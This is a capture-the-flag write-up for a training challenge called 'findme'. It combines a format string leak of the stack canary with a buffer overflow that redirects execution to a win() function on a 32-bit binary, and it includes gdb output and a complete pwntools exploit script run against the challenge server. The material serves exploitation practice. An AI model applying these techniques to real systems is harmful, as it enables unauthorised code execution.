findme

This challenge is very simlar to the *canary* challenge, so we will skip the parts explaining the underlying theory. The goal of this problem is not only to provide more practice, but to also show the speed at which these binaries can be exploited.

If you can go from nothing to attack vector to exploit for most problems in no more than 30 minutes, you're on the right track to succeed in the screener.

Static Analysis

If we check the security, we notice that there is clearly a canary present.

```
$ checksec ./findme
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/04-
canaries/findme/src/findme'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

We notice that the functions that aren't part of the STL are `main()`, `read_in()`, and `win()`.

- `main()` calls `read_in` and then returns.
- `win()` calls `system()` and then returns.

That leaves `read_in`. We notice the following:

- The canary is stored at `ebp-0xc`.
- There is a format string bug at `read_in+116`.
- We start writing at `ebp-0x48`.

Moving to the `gets` call that supplies the input to the format string vulnerability, we can quickly get the offset to the canary:

```
gef➤  x/20wx $esp
0xffffd550: 0xffffd560  0x00000014  0x00000000  0x080491d2
0xffffd560: 0x00000000  0x00000000  0x01000000  0x0000000b
0xffffd570: 0xf7fc4540  0x00000000  0xf7c184be  0xf7e2a054
0xffffd580: 0xf7fbe4a0  0xf7fd6f80  0xf7c184be  0xf7fbe4a0
0xffffd590: 0xffffd5d0  0xf7fbe66c  0xf7fbeb20  0xbc53b400
```

We see the canary is at the 19th offset on the stack. If we want to do this mathematically, the canary is at `ebp-0xc`, and the stack pointer is at `esp`. We can do this math inside `gdb`:

```
gef➤  p/x $esp
$3 = 0xffffd550
gef➤  p/x $ebp-0xc
$4 = 0xffffd59c
gef➤  python print((0xffffd59c-0xffffd550)/4)
19.0
```

The reason that we divide by four is that each address is four bytes long.

Crafting the Payload

From here, we know what the payload is going to look like.

1. First time around: send the format string to leak the canary.
2. Second time around: pad to the canary, write the canary, then pad to the return address, and overwrite the return address.

Let's make this happen.

```
from pwn import *

proc = remote('vunrotc.cole-ellis.com', 4300)

# get the line of data
print(proc.recvline())

# payload round 1: leak the canary
proc.sendline(b'%19$p')
print(proc.recvuntil(b', '))
leak = int(proc.recvuntil(b'!')[:-1].decode(), 16)
print(proc.recvuntil(b':'))

print("Canary leaked:", hex(leak))

# payload round 2: buffer overflow
payload = b''
payload += b'A' * 40
payload += p32(leak)
payload += b'B' * 12
payload += p32(0x080492b9)

proc.sendline(payload)
proc.interactive()
```

Running the exploit gets us the flag:

```
$ python3 exploit.py
b'Enter your username.\n'
```

```
b'Hi, '
b' Enter your password:'
Canary leaked: 0xf604b100
[*] Switching to interactive mode
 flag{combining_techniques_is_essential}
/home/ctf/runner.sh: line 5:    27 Segmentation fault      (core dumped)
./findme
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to vunrotc.cole-ellis.com port 4300
```